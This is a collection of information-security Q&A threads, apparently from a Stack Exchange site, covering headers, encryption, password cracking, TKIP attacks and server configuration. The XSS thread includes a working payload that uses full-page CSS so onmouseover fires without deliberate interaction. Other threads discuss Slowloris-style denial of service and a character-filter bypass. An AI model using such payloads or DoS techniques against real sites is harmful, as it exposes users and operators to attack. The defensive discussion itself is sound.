Multiple server fields in HTTP Response Recently, during a pen-testing exercise, I noticed that the target server responded with multiple "Server" fields in the header. I was wondering what it could mean and if oddity is somehow interesting from a pen-tester's perspective.
And secondly, what is a "Syginet" server. I tried to google it but nothing came up.
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 17 May 2021 20:38:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Server: SygiNet 1.3
Content-Length: 22447

The Server: HTTP header is defined in the HTTP spec RFC 7231 section 7.4.2. I see nothing in there saying that you can't have multiple of these, so I assume this is spec-compliant; ie valid HTTP.
I agree with you that I'm not finding anything on Google for "SygiNet". I'm guessing it's some sort of proxy sitting in front of the web server, and it's adding its signature to the response. Whether that's useful to your pentest to know that there are some extra proxies in there, I have no idea ...


Can we determine how securely files are stored on a cloud storage service? After asking two questions about the security of online cloud storage, it seems to me that we can only at best speculate as to the security practices of the hosting company, and believe what they tell us. Or can we do something more?

For example, people have assessed that Dropbox and Google Drive are insecure because their employees can technically read your files if they desire due to the encryption keys being stored on their server. We know this through interviews with their representatives and the wordings of their Terms of Service.

However, suppose they were to keep their method of storage a secret. Would we be able to know for sure whether they can read our files?

Additionally, there are services like BoxCryptor or Viivo which will encrypt your file before they are transferred to Dropbox or Google Drive. We can verify that this is true by looking at our file through Dropbox or Google Drive, and see that it is in fact encrypted.

However, there are also storage services like SpiderOak and Sync which offers end to end encryption builtin. However, the same strategy doesn't work because our files will be unencrypted once it is downloaded. For these services, how can we be sure whether or not our files are encrypted like they claim?

Cloud are external service providers: you do not have control on their system, you do not known their internal tools, policy, you do not know their employee.

The best bet is therefore to assume cloud is insecure and just encrypt the file before uploading them.

This way, from a confidentiality and integrity perspective, you are not bound to trust the cloud service provider, you are bound to trust the encryption software which can be far more opened and have received a lot more public scrutiny than any cloud provided tools.

From an availability perspective, I think it is reasonable to trust cloud service provider since data availability is precisely the core of their activity.

Therefore, by combining local data encryption + remote cloud storage, you would achieve the classical CIA security triad (Confidentiality, Integrity, Availability), which I guess should answer your question about cloud storage security :).


VoIP service requires a scanned copy of my passport In the process of registering to Callcentric, they asked me a scanned copy of my passport.

I already gave them my mobile number, where they could possibly make an interview, and of course they have my IP address, which allows to obtain my identity from my ISP in case of a fraudulent activity.

I read this question, but it should be noted that I am not buying payment services, properties or applying for a job/loan. They just sell VoIP services, similar to Google Voice, who does not require your passport.

Is this type of sensitive information required by some US law?
A VoIP service has the same scope and purpose of an email service, after all.
Will this reduce the risks involved, as the support staff writes, or rather compromise my security?
Asking  my mobile number for SMS authentication prevents identity theft, instead, giving out my passport data greatly increases the risk of the theft of my identity.

It should also be noted that, while they claim  not to share my personal data, in their Privacy Policy it reads that the company "reserves the right to modify the Privacy Policy at any time without notice."

Update

Another thing to make me wary of this practice is that, unless the passport is scanned by a trusted third party, any serious criminal would simply send a fake scan with fake information impossible to detect.

No, this is not required by US law.
This does not reduce your risks; it may reduce the risk to Callcentric that you will defraud them, or use their service to harass/defraud others. But, as you point out, it's not so hard to fake a foreign passport. It's unlikely that Callcentric has infrastructure in place to verify that the passport you provide is authentic. This actually increases the risk to you, as it's possible that Callcentric will have a bad employee or a data breach and thereby transfer your information to hostile third parties.

Ultimately, you've got to choose whether or not using their service is worth the risk to your privacy/security. I can't imagine giving someone a copy of my passport just to get VoIP service, but everyone's got to make that call for themselves.


Firefox presenting a Deceptive Site warning when trying to download a popular github resource. Should I ignore it? I don't want to name names (in case it gets them some bad publicity for any party) however if there is a call for, then I can.

I went to a website of a popular templating/framework system in order to download the latest version for a new project. On their homepage they have a link to download the latest version from their github repo. The link appears fine, it's a zip from the releases as you would suspect. However on clicking the link (or navigating to the address in Firefox) the link is redirected to an AWS url and Firefox returns a 'Deceptive Site!' page (which I can ignore) stating it could be phishing or malware.

Should I ignore this deceptive site warning?

Is Firefox just being overly cautious? (change in domain on redirection)

Is there something genuingly bad happening and the relevant orgs should be informed?

The same url is available through github itself (the releases page) and is doing the same thing, redirecting and presenting a warning.

Most Releases on GitHub are hosted on GitHub's own servers (codeload.github.com), so if this URL is pointing somewhere else it may be purposely hosted elsewhere by the developers rather than Github's own distribution systems.

I would exercise caution. Firefox (and other browsers) don't generally inspect the content of downloads and leave that up to the security software on your system if present. They do evaluate the hosts you are connecting to and use a combination of blacklists and other techniques to determine the safety level. The error could simply indicate that suspicious content is located somewhere else on the same host, or that the content you are actually trying to address is hosted in an insecure fashion and that the integrity of the content is questionable.

Be sure to use independent verification methods for any content you eventually download, such as PGP signatures or published hashes. If you trust the source, then a hash match or signature verification shows that you do indeed have exactly what they published.

Finally, the connection you are using may be suspicious. I don't know where you are, but some ISPs may intercept and modify traffic in-flight which Firefox is alerting you to.

Proceed with caution regardless, and if you genuinely believe it is a false positive, you should raise it first with the site owner, and encourage them to take it up with your browser's developer.


Security of mainframes? I am very intrigued as to how mainframes seem to be much more secure than the servers. Malware targeted are mainframes are very rare.

It is due to security through obscurity? Since few people have access to mainframes and in-depth knowledge on mainframes, it is difficult to develop malware for mainframes.

Or is it due to the architecture of mainframes? Certain characteristics such as read-only memory that make it difficult to penetrate or compromise.

If it is the latter, is it possible to adopt these characteristics for our modern day server architecture?

I have tried googling but it is quite difficult to find material on mainframes in general. Thanks for your response.

Most malware depends on both knowledge of the operating system and the (hardware) instruction set.  That is, most malware is written for a particular class of hardware running a particular operating system.  The instruction set of a typical mainframe, e.g. IBM zSeries, is quite different from the Intel x86 instruction set.  Although mainframes can and do run Linux, it is much more likely that they run the z/OS operating system or an older OS.  Mainframe programming skills at the OS level are relatively rare.  The small number of mainframes, compared to machines running Windows, MacOS, or Linux, means they're mostly let alone.  (The majority of malware comes from criminals, not "hackers" and the former are interested in maximizing profit.)

So, it's a combination of security by obscurity (instruction set and OS) and a smaller target space.  That means there is very little to adopt for more common server class machines.

Many of the things mainframes have "always" had, like privileged instructions and memory protection, were introduced to single-chip processors with the Intel 386; there isn't much more that such processors can borrow from mainframe hardware architecture.


Are Windows Updates susceptible to tampering, eg. using a MiTM attack. My real question is how are patches and updates authenticated in general. But for example how does windows know a windows update is really a windows update, does it just trust the URL or is there some kind of certificate?

All updates are digitally signed by Microsoft's private key, you will get warnings if any updates are not signed, or signed with the wrong key. Even if a MiTM was able to send fake updates they'd be rejected by the update utility for that reason.


SH Write a file with contents without any special chars So, I've got a challenge and it's as follows.

  You can access a normal shell(sh) on clean RHEL 6 installation. Write arbitrary content to file.txt, but without the following characters.

# & \ + - % @ = : ; , . ' " ^ ` ~ _ | ! / ? * $ # < > [ ] { } ( )

I can use like touch file or rm file but touch file.txt or echo content > file.txt is not allowed due to . and >.

Is this even possible?

This is quite simple: check for python, perl or any interpreted language availability, then launch the interpreter and just code it !


Must an encrypted hash value be bigger than the password it was generated from? I was reading a book called Introduction to network security theory and practice, and I found the following paragraph:

  Rainbow Tables

  A rainbow table is a table of two columns constructed as follows: let
  be a function that maps an encrypted hash of a password to a string in
  the domain of possible passwords. This function is referred to as a
  reduction function, for the length of a password is typically shorter
  than the length of its encrypted hash value.

I noticed the word typically, but I was just wondering:

Does encrypted_hash < password mean that it will be easier to find a way of de-crypting the hash ?

Why is that? Why not?

First things first: this is NOT encryption. This is hashing. If your book talks of "encrypted hash" then that book is confused, and thus confusing. Notably, hashed passwords are never "decrypted", since they are not encrypted in the first place.

A cryptographic hash function offers a fixed output size. In the case of passwords, one needs to do something specific called "password-hashing", which has its own theory (see this answer for details). However, the main principle is still there: when verifying an incoming password, the password is hashed into a value x, and that x is compared to the value that was stored. If the password is the right one, then the same x is obtained. However, if a wrong password was entered, another value x' is obtained, which is distinct from x with high probability.

This is the important point here: an attacker could still get (very) lucky and instead of sending the right password, he could theoretically stumble on another, distinct password that, by pure chance, would yield the same hash value.

Of course, we do not want such a thing to happen, and the best way to make that event utterly improbable is to make these values x (i.e. output of the hash function) large enough for bad luck not to occur in practice. Existing hash functions have an output size which is typically 16 bytes (128 bits) or more. This also applies to password hashing functions; e.g. bcrypt outputs 192 bytes.

(Compounding the effect is that hash outputs are binary, but often encoded in Base64 before storage in database, which increases the size; also, password hashing functions need some extra parameters, e.g. a salt, which, in some functions, are also encoded in the output, further expanding the output.)

User-chosen passwords rarely exceed a dozen characters in length, so, generally speaking, the hash output will be larger. However, hash functions can use large inputs, so there is no intrinsic reason why hash outputs should always be larger than passwords. It just happens that we need, to thwart the "lucky attacker" described above, an output size which is "large enough", and that "large enough" is larger than the average size of passwords chosen by human users.


Securely opening an insecure webserver to a single phone I have a webserver running inside my private network and not exposed to the internet. I'd like to securely talk to this webserver from my mobile phone over the internet.

However, this webserver has no security on it whatsoever, and since I lack the confidence/expertise to implement security features myself, I don't want to expose it directly to the internet.

I thought maybe I could run something like nginx on a different machine (or maybe just different port on the same machine?) and route secure, authenticated requests to the dumb webserver. The firewall could be set so that the only IP address capable of talking to the dumb webserver was nginx.

Is this a common/reasonable/secure setup?

What would it probaby look like in practice? Would the phone be presented with a user/pass dialog before getting to talk to my webserver? Better yet, would it be possible for me to install some kind of certificate on the phone to make this magically work in (android) chrome without a password?

Thanks!

A few ways.

Option 1:

A proxy server with authentication.

Phone -> proxy (check auth like basic auth if using https proxy, if not https proxy then no real security gain) -> internal-web-server

We use these in corporations. You set an automatic proxy file (pac) on your phone to route requests to your domain web page through the proxy and the rest direct.

But proxy on cellular is tough.

Option 2:

Setup nginx with reverse proxy settings, and https, and require basic auth. Then you'd not need to mess with pac files.

Option 3: install openvpn on the server and the client on your phone.

Option 4: install an ssh client on your phone, ssh to your home server and forward the web port.

Good luck


DoSing Apache versions Can denial of service attacks affect Apache V2.4 or more? Using Slowloris.pl
Or how to DoS Apache servers V2.4 or more?

You can DOS anything, including Apache. Its only a question of how much resources the server can allocate and how much resources you are able to request (i.e. bandwidth, connections...).  If you can request more than the server can handle you have a DOS, i.e. denied legitimate users access to the site. You don't even need attack tools because it might be sufficient to make lots of users want to visit the site, see Slashdot effect.

Thus the question is not if DOS is possible but how easy it is. This depends on the version of the server, its setup etc. Tools like slowloris help as do tools which makes lots of request or tools which do lots of computationally intensive TLS handshakes. And depending on the site  it might be even cheaper for the attacker to DOS  the web application itself, for example with regex complexity attacks, XXE or causing expensive database queries.


Do Diffie-Hellman parameters need to be recreated regularly? Having generated 2048-bit DH params, do I need to regenerate them regularly? If so, how frequently should I do this?

Generally speaking, no, you do not have to recreate the parameters regularly.

Diffie-Hellam gets broken through solving the discrete logarithm problem (technically, there is no proof that one must solve DL to break DH, but that's still the best known method). It so happens that if you are able to break one instance of DL, then you can reuse much of the work to break other instances of DL, provided they all use the same modulus (i.e. the same "DH parameters"). In the case of the recent "Logjam attack" this was put to use: since some client and servers agree to use a weak modulus (of 512 bits) and, moreover, they all appear to use the same modulus, the attackers, after having broken DL once (through significant effort), can now do the same again for that specific modulus in quasi-real-time, which then makes MitM practical.

The initial "if" is a big one, though. Normally, you would use DH parameters that are large enough to utterly prevent that initial DL-breaking effort to take place. You don't want attackers to expand an initial success into easy MitM, but you don't want them to achieve that initial success either. Using a 2048-bit modulus sets you already quite far in the "can't break it" zone. See this site for details. Also, even in a sci-fi scenario where your DH gets broken, this will still be your parameters, and the attack effort won't be applicable to other servers -- which means that breaking efforts on the DH parameters of other people will not impact you. By using parameters you generate yourself, you already obtain the bulk of the protection. In fact, even with a 512-bit modulus, using your own parameters instead of the "standard" ones would already offer a great deal of protection, because while the initial break of a 512-bit modulus is feasible, it still is a substantial effort that attackers are unlikely to make if it only unlocks access to a single server (yours).

Another way to view that question is to consider the server key. In SSL/TLS with DHE, the client and server do a Diffie-Hellman key exchange, but the server also signs what it sends (usually with RSA). The server's key must also not be broken by attackers, since otherwise that attacker could impersonate the server and, again, run easy MitM attacks. Thus, regardless of what you do with the DH parameters, you still need to take care of your server key; in other words, it is not useful to make the DH part really stronger than the (RSA) signature part. This extends to the notion of key renewal: if you feel that you must renew your RSA key every three years (that's an example) then you may want to renew your DH parameters at the same schedule. It is useless to renew it more often than that. Similarly, since DH and RSA keys appear to offer similar resistance for the same length, you will want to use a 2048-bit DH modulus if you also use a 2048-bit RSA key.

Technically, key renewal is useless, but people tend to believe that key renewals grants supreme security benefits in some fuzzily-specified way, and they are quite fond of it. If you feel that you need to renew your RSA key on a regular basis, so that you may sleep better at night, then go for it. The same psychological reasons would apply to the DH parameters, so if renewal is your thing, then renew the parameters the same day.

(If we want to go into tricky details then we may argue that the server RSA key is for a different security model than the DH parameters, since signatures are for immediate server authentication, while the DH must resist recording and ulterior breaking, possibly years after, depending on the type and worth of the data that is protected. However, a past recorded conversation is, by definition, unimpacted by later renewals, so this argument does not ultimately apply to the present question.)


Does an exposed XMLRPC API in a web application pose a threat? I'm given the assignment of testing one of our web-servers in regards to security. One of the servers run IIS 7 and its application relies extensively on XMLRPC calls. I found the API for those calls was publicly available on the web-server which got me thinking.

Does this need to be exposed? (I.e. does the application break if removed?)
Does this exposure pose a security threat? (Or would removing the API simply be a 'security by obscurity'?)

Well, the first thing that comes to mind is that if you remove an external endpoint of an API that an application relies on, then yeah, it would probably break. :)

More specifically it really depends on the application in question. If it only works over XMLRPC and it needs to connect from a different machine, then yes it will break if you remove the access. Otherwise it might not. The fact that it is publically accessible does increase the risk to your server(s) because of an increased attack surface, but if it's a properly secured service then there is less risk. There is still an increased attack surface though.

However, since it is XMLRPC, which is an antiquated protocol (a precursor to SOAP), there is a good chance that it wasn't necessarily designed with security in mind.

Removing the API would not be security by obscurity unless there is another way to access the API whose protection hinges on the fact that XMLRPC was the only known public endpoint.


Would putting important information on a flash drive that never touches the internet be secure? First off, I'm not even sure if this question belongs on this site, but I am a programmer and I usually just ask stack overflow questions like this, and I know for a fact this one doesn't belong there.
But basically, my question is if I get a flash drive, and only ever attach it to say a Raspberry pi 0 (the one without internet connectivity), and put information that I really don't want people to get their hands on (like for example, social security number), would that basically be as secure as just having it written on a sheet of paper?
Because I don't super want it written down because I feel like if someone breaks in or something, it would be a lot easier to determine what it was if it was written down on a piece of paper, but at the same time I don't want to put that information on anything that connects to the internet on the tiny off chance that the device gets compromised.
sorry if this question doesn't really fit this website, but if it doesn't I would appreciate someone being able to point me to somewhere where it would fit.

The technical answer is yes, as long as nobody just steals the USB flash drive. You can mitigate that with full-disk encryption, but I don't think people breaking into your house are going to be looking for your SSN anyway - they're much more interested in taking the most expensive objects they can carry out by hand and easily fence.
One issue with storing this information on USB flash disks is that they have poor retention. They're not particularly reliable for long-term backup storage, and you should expect some degradation in the data after a year or two.
For something as not-that-sensitive as your SSN, I would recommend just storing it in your password manager. A local one like KeePass offers plenty of security. You should be using one anyway for your passwords.


Securing physical access to your internet connection? (Apartment Utility Box) I recently moved to a new apartment complex, had my DIY Time Warner box ready to go and hooked up my all my hardware. Everything booted fine but no connection to TW. I tested all the jacks in the apartment and came to the conclusion they were dead.

I grabbed my tool bag and walked outside the unit and found the Utility Closet and to my surprise it was unlocked. Once inside I found a small gray box that belonged to TW with wires coming in from the street and then splitting off into the apartments. (There was a lock but it was locked on only the first loop with the door hanging open) It was well labeled with apartment numbers and all I had to do was connect the coax. Bam, Internet was up and running.

Question

I was pretty surprised that nobody questioned that I was messing around the utility closet (I had my slacks and polo shirt on) even the maintenance guy didn't seem to give it much thought. Could someone just splice my connection and capture my internet traffic? It would seem that no matter how good my firewall setup was inside the house, if the box outside is unlocked, the traffic leaving my home is up for grabs. Are we really that vulnerable? How do you protect yourself from something like this? VPN?

As a rule of thumb, I find it helpful to always assume that there is a stranger somewhere on earth seeing all of my traffic unless I am using https, vpn, or some manner of encryption. If you make this assumption, then someone splicing into your connection outside of your home shouldn't freak you out too much, because you will not be transmitting anything useful to them over an unencrypted wire. Granted though even the list of websites you frequent all day may be enough to cause concern, in which case you'll want to use a vpn or encrypted proxy, at least for those you would not want others to know you visit.

That being said, even with encryption, someone on the other end of the encrypted channel could still see your traffic. For example, if you are using https (with a valid certificate) while connecting to a website, you can probably assume your connection is secure over the wire, but you should still assume that an employee of that website could access your transmitted information if they wanted to. Likewise, when you use a (full-tunnel) vpn to connect to your company's network, your traffic should be secure, but always assume the IT department from your company can still see what you're doing.

TLDR: yes, it's really that vulnerable. If that bothers you, encrypt all the traffic you don't want others to be able to see.


Can any App Store app access all of my passwords? Whilst researching another question, I've noticed that on OS X 10.9.4 there are many instances of Library/Keychains/login.keychain from ~ within the Data folder of what looks like apps from Apple App Store within ~/Library/Containers.

Is this merely a coincidence, or does this mean that any random app from the App Store can so easily get a hold of all of my passwords in one go?

No. Just because there is an alias to something from an app's sandbox container does not mean the App has access to it -- that's still controlled by the app's entitlement list (and I strongly suspect Apple would reject any app that requested direct access to a user's keychain files). Also, even if it could access the file directly (as a non-sandboxed app could), the passwords are encrypted, so it'd still have to get past that layer of security.


What's a term to describe multiple shoulder surfing attacks to uncover different parts of the password? Is there an existing term that describes shoulder surfing attacks where the adversary observes a different part of the password each time, to eventually construct the whole password?

An example would be focusing on the left part of the keyboard at an occasion, focusing on the right part at a different occasion, then combining the observations.

I don't believe there is an official term. I might coin the phrase: "Constructive Shoulder Surfing" or "Iterative Shoulder Surfing"


Momentarily unencrypted Payment cards Momentarily unencrypted Payment cards

I read about the cyber-attacks related to the momentarily unencrypted payment processing data at the point of sales devices. Technically, how is it possible?

Is it when the cardholder enters an EMV (CHIP-and-PIN) payment card to make a payment, during the entry of PIN, the data remains unencrypted and it is skimmed? If not what else could happen in an ‘end to end encryption’ environment? Or this at all doesn’t occur to the EMV cards and applicable to the cards with magnetic strip only?

Either way I believe the usefulness of that data is limited for online transactions only, as for cash withdrawal or to use the cloned card the hacker would need PIN as well.

Without a reference it is hard to answer how the attack is possible vis-à-vis the article that you read. However I have seen several similar attacks involving the magnetic strips and the terminals.

The credit card data on the magnetic strip is not encrypted. The encryption is applied by the POS when communicating with the bank. The data within the POS, which includes the track data and the pin for debit cards, is often not encrypted. Therefor if you compromise the POS terminal you can extract the credit card swipe data and even the pin number from debit cards.

The interception could occur with compromised firmware, software or physical devices (skimmers and friends) For example breaches see http://krebsonsecurity.com/2015/04/pos-providers-feel-brunt-of-poseidon-malware/. Krebs has  a LOT of other breaches on record.

However these attack do not work (theoretically) on EMV cards. These cards have card to bank encryption, IE end to end. The authentication goes through the chip (see Why are chips safer than magnetic stripes?). All the attacker gets from compromising the terminal is the pin.


Is it a security concern to publish the current boot_id? On linux, a machine comes with a machine_id.

From the man page, it is said to be considered as "confidential" and must not be exposed to unstrusted parties.

Should the boot_id (from /proc/sys/kernel/random/boot_id) also be  considered "confidential" ?

I am using the first 6 hex number of the boot_id (so not the whole of it) as a way to know if the webserver has rebooted (or not), and displaying it on the main page. This is not however a public server. You need to log in.

There is nothing unique to that ID which would make it any more confidential than any other randomly-generated boot identifier. That is to say, if you use it in a way that turns it into sensitive material, then exposing it is of course a bad idea. If all you're using it for is checking if the machine has rebooted, then there's no reason it needs to be secret. It is generated by the kernel completely randomly.

From lib/uuid.c in the Linux kernel, the following function is used to obtain random UUIDs:

void generate_random_uuid(unsigned char uuid[16])
{
    get_random_bytes(uuid, 16);
    /* Set UUID version to 4 --- truly random generation */
    uuid[6] = (uuid[6] & 0x0F) | 0x40;
    /* Set the UUID variant to DCE */
    uuid[8] = (uuid[8] & 0x3F) | 0x80;
}
EXPORT_SYMBOL(generate_random_uuid);

The kernel uses this function to generate a random UUID the first time kernel.random.boot_id is read and saves the result, returning it for any subsequent reads for the duration the system is up.


Password Security and ocl-Hashcat-plus I recently read the Ars Technical Article about new features in ocl-Hashcat-plus. In light of questions like:

Long Passwords: How are they more secure?

and

XKCD #936: Short complex password, or long dictionary passphrase?

Are pass "phrases" like "correct horse battery staple" guessed by the new features in ocl-Hashcat-plus? Does it help to capitalize a letter and add a punctuation mark ("Correct horse battery staple.")?

[Disclosure: I work for AgileBits, the makers of 1Password.]

To give credit where credit is due (comics rarely have citation footnotes), this scheme is called "Diceware" and should be credited to Arnold Reinhold, who described it in 1995.

What is absolutely crucial to the scheme is that words must be chosen from the list by a uniform random process. (Reinhold's scheme involved rolling dice.) Humans, particularly when trying to be clever in selecting passwords, are very much not random.

Capitalization and symbols (the actual question)

hashcat, as it stands today, isn't good at applying transformations (e.g., case changes) to guesses that are done by combining words (needed for Diceware=like systems). So in once sense, using a few symbols and mixed case for these sorts of password will really make things hard for hashcat. However, that would be a stupid reason to do something like that. After all, a week ago, just using a passphrase longer than 15 characters would stymy hashcat.

It is unwise to base a password selection policy on potentially transient idiosyncrasies of a particular cracking tool. It is important to realize that other password cracking tools, John the Ripper, for example did not have that 15 character limitation. And has we know, these idiosyncratic limitations do change.

Look only had how many guesses are needed

The Diceware list contains 7776 words (you get these through five rolls of a die or one roll of five dice), and so a password would be about 12.9 bits per word. So a five word Diceware password would be about 64 bits. If hashcat could check 300,000 per second then it would be about 1.5 million years to crack a five word diceware password. How many guesses per second hashcat can achieve (on the same hardware) depends enormously on how the password is hashed (straight hash, PBKDF2, scrypt ...).

The reason I'm picking 300,000 guesses per second in my example is because that is the number we get against a common form of the 1Password Master Password (PBKDF2-HMAC-SHA1 10000 rounds), which I wrote about back in April. There are more numbers in that article, along with links to other articles on using Diceware (including the article,  Toward Better Master Passwords that may have triggered revived interest in Diceware just prior to the XKCD comic, and advocates a modified Diceware system for the few strong passwords you need to remember.)

hashcat character limit

Hashcat's move from a 15 character limit to a 55 character limit only matters if you were specifically choosing a password greater than 15 characters to avoid being in the domain of something that hashcat could work on. I hope that nobody was doing that.

In that article I wrote back in April I studiously did not mention the 15 character limit (which I was fully aware of) for the simple reason that I wanted to offer pessimistic (from the defender's point of view) estimates of cracking time weren't relying on what I saw as temporary limitations.


What are attack vectors for attacking tethering smartphones? Are there any attack vectors for attacking tethered wireless networks (mobile hotspot), other than for normal wireless networks? Assuming the tethered wirless network uses state-of-the-art encryption+authentication (WPA2 with PSK).

The attack vectors remain the same. The only difference is that mobile phones might provide an additional attack surface with other services reachable like Bluetooth and GSM/UMTS/GPRS/...

Check public vulnerability databases for entries regarding WLAN or other network issues to determine the known attack surface of mobile devices. Once in a while there is something published. But the amount of mobile device specific issues is rather small.


XSS inside anchor tag () without user interaction? Is it possible to inject a payload inside <a> tag such that the script runs without user interaction?

The injection is inside the href attribute. I can inject onmouseover or onclick attributes, but user interaction is required.

The onfocus and autofocus trick does not work in <a> tag (correct me if I'm wrong).

In my case, the page cannot be loaded in iframe, so I can't do tricks with iframes.

Do you know some other tricks?

You can force the user interaction with CSS, by making the a element an fixed positioned block element with a large size and z-index.

<a style="display: block; position: fixed; top: 0; left: 0; z-index: 99999; width: 9999px; height: 9999px;" onmouseover="alert('xss')">


Is WPA-PSK AES safer than WPA-PSK TKIP-AES? On this forum thread I see (translated):

On Telecom Router we have those wifi encryption modes

Disabled-OpenNet

- WEP (128 bit) -> WEP (unsafe breakable in some minutes)

- WPA-PSK TKIP 256 bit -> WPA (unsafe breakable in some hours)

- WPA-PSK AES 256 bit -> WPA2 (safe)

- WPA-PSK TKIP-AES 256 bit -> WPA\WPA2 (unsafe)

Is WPA-PSK AES safer than WPA-PSK TKIP-AES?
Is WPA-PSK TKIP-AES dangerous for security?

TKIP is vulnerable to an attack similar to the WEP "ChopChop" attack.

TKIP uses MIC for guaranteeing the integrity of an encrypted
frame. If more than two MIC failures are observed
in a 60 second window, both the Access Point (AP)
and client station shut down for 60 seconds. The newer
TKIP attack uses a mechanism similar to the
“chopchop” WEP attack to decode one byte at a
time by using multiple replays and observing the
response over the air. When a MIC failure occurs,
the attacker can observe the response and waits for
60 seconds to avoid MIC countermeasures. Using
the mechanism, the attacker can decode a packet at
the rate of one byte per minute. Small packets like
ARP frames can typically be decoded in about 15
minutes by leveraging this exploit.

TKIP also includes a sequence counter that could
detect if a packet is being sent out of sequence.
However, with the introduction of QoS based on the
WMM standard, the sequence enforcement across
multiple QoS queues was relaxed for performance
reasons. This creates another security flaw. Once
a TKIP frame has been decoded, the attacker can
use the obtained key sequence to further inject
up to 15 additional arbitrary frames using different
QoS queues without triggering a sequence number
violation that would have lead to the injected packet
being dropped.

Summary of TKIP Vulnerabilities

This is not a key recovery attack. TKIP keys
are not compromised and it does not lead to
decryption of all subsequent frames.
The attack affects all TKIP deployments (WPA
and WPA2) regardless of whether they
use Pre-Shared Keys (PSK) or the more
robust enterprise mode with 802.1x
authentication.
The attack can reveal one byte per minute of
a TKIP encrypted packet. Small frames like
ARPs are good candidates for the attack.
If QoS is enabled, the attack can also lead
to injection of up to 15 arbitrary frames for
every decrypted packet. Potential attack
scenarios include ARP decoding followed by
ARP poisoning, DNS manipulation, etc.
WPA and WPA2 networks that use the more
robust AES-CCMP encryption algorithm are
immune to the attack.
The attack is capable of decrypting a TKIP
frame sent from an AP to a station
(not station to AP).


Twitter switching to 'mobile.twitter.com' after it detected the browser is outdated What's going on is that, Twitter is switching me to their "mobile" site after it detected my browser was outdated. Factly I can still send Tweets, its just their mobile site. My experience with websites that doesn't support old browsers is that they disable all the features to help staying safe.

  "You are on Twitter Mobile because you are using an old version of
  Firefox. Learn more here"

I've read the last part of the above in-answer comment. There was one line I memorized saying "..including all the latest features and security updates, please make sure your browser and operating system are up-to-date."

The reason for this wasn't clear for me at all.

Why is Twitter switching to their mobile site, while using all the twitter features is still a thing?
Does this mean their mobile site is more secure?

Regarding #1:

Desktop-oriented sites often use newer and more demanding features than their mobile counterparts.

It is likely that your browser does not support some functionality that the regular site requires (or that its implementation of that functionality is non-compliant with standards, which would cause the site to render improperly).

You should update your browser regularly to improve its functionality and security.

Regarding #2

No. This is an example of a graceful fallback.

This means the application or service has intentionally switched to a less-functional mode instead of failing in an unpredictable or unsafe way.


Mixed content - stylesheet being blocked because of a querystring parameter? I've just run into a scenario where a stylesheet was being blocked on a secure payment page.

The stylesheet was loaded like so:

<link href="/CSS/all.min.css?v=2" rel="stylesheet" type="text/css" />

I was getting an error in the chrome dev console:

  Mixed Content: The page at https://www.example.com/secure/checkout.aspx was loaded over HTTPS, but requested an insecure stylesheet http://www.example.com/CSS/all.min.css?v=2. This request has been blocked; the content must be served over HTTPS.

I was under the impression that using relative paths (all.min.css is served locally) would ensure that the content gets served under the protocol of the requested page, in this case https, but that was obviously not happening.

I tried a few things to get the CSS working again such as using the full path to the file along with https which didn't work, and on a whim, I decided to remove the 'cache buster' query string ?v=2 and the CSS was served up fine.

That said, I have no idea why this worked, I was unaware that using a query string when referencing a file would prevent it from being loaded securely, could someone explain the reasons for this?

Edit*

You can verify this yourselves, here are the two links:

Served under HTTPS without the cache buster query string
Served under HTTPS with cache buster query string

Notice the protocol switch in the second link?

Do you think this could have something to do with the SSL still using SHA1? An increased security measure imposed by the browser? I noticed that this doesn't happen in IE but in Chrome/FF, the resource is blocked.

It's a server configuration issue.  No, I don't know why your server is configured to do this, since it's generally a bad idea.

Using my general-purpose HTTP diagnostic tool, wget, to retrieve https://www.w1office.com/CSS/all.min.css, I get:

Connecting to www.w1office.com|91.151.215.29|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 41241 (40K) [text/css]

On the other hand, when I retrieve https://www.w1office.com/CSS/all.min.css?v=2, the result is:

Connecting to www.w1office.com|91.151.215.29|:443... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.w1office.com/CSS/all.min.css?v=2

When the query string is used, your server responds with a HTTP redirect to an insecure address.


How to get the prime number of a secret key in GnuPG? When I use GnuPG I can get a secret key saved as a file. Opening this file in a text editor I see that the key is encoded with base64. How do I find the actual prime number from the secret key? That is, how to I go from, say a 2048 bit, key to prime number?

I would like to see an algorithm that takes the file and gives the prime number.

I would also like to know how to make the secret key file given an actual prime number.

You can use pgpdump to inspect public and private keys. The "Dump integers" option (pgpdump -i) will display the values used for the key. The values used for the private key (p,d,q,u) however will only be shown if the private key is not protected by a passphrase.

Since pgpdump only works with ascii-armored keys, you'll have to export your keys first.


How to use RC4 securely I want to encrypt my network communications with RC4. The reason for choosing RC4 is the simple implementation and speed.

I need to have a pure Python implementation, because I cannot compile for my target system. My implementation is slightly modified from TLS Lite.

If I understand the security issues correctly, the main problem is that the algorithm is not designed to be used with a nonce. As proposed at Wikipedia, my approach is to generate an MD5 hash of the key and a nonce and use this as encryption key.

Is this enough or do I have to implement the dropN variant, too? Any other weak spot I have to look at?

A fast and simple alternative to RC4 would be appreciated, too.

Update After reading Cryptology ePrint Archive: Report 2002/067, I think I should definitely use the dropN approach (with at least 512 bytes).

Update 2 Reviewing my implementation would also be nice.

First: Do NOT use MD5. Ever. Never. Especially not in any form of security contexts. Use at least SHA-1 or SHA-2 (256 or 512/256 if speed is an issue on 64-bit machines). Apart from some legacy reasons, MD5 should be banned and the faster you stop using it the better you are off.

If you need a simple, pure Python RC4 implementation I have one at http://www.strombergson.com/files/rc4_gen.py.gz.

It is basically the same implementation we used as one of the sources for the test vectors in RFC 6229.

Yes, you should use nBytes. Look at the arcfour128, arcfour256 defined in RFC 4345 or some of the others we have calculated test vectors for.

I realise that I should move the RC4.py to GitHub. And change the fingerprint to using something other than MD5. Facepalm. ;-)


Are there any ways to defraud a fundraising site? I have developed a many e-commerce stores for clients over the years; almost all of them selling physical products. Recently, one client in particular was repeatedly getting hit with fraudulent chargebacks where someone would purchase an Acme Widget from their site on a stolen/duped card, have the item shipped (with next-day delivery) and then put a chargeback on the (fake) card, getting a Widget for free at an unassociated address before anyone realises what's happened (note: they have tightened security and it's now a much rarer issue).

I'm now developing what is effectively an e-commerce store, except that it's 'selling' virtual goods that act as a fundraiser; for example you would buy a pack of 10 Virtual Widgets for £100, and that would translate as a £100 donation directly to the fundraiser. As such there are no products (physical or digital) & obviously no shipping.

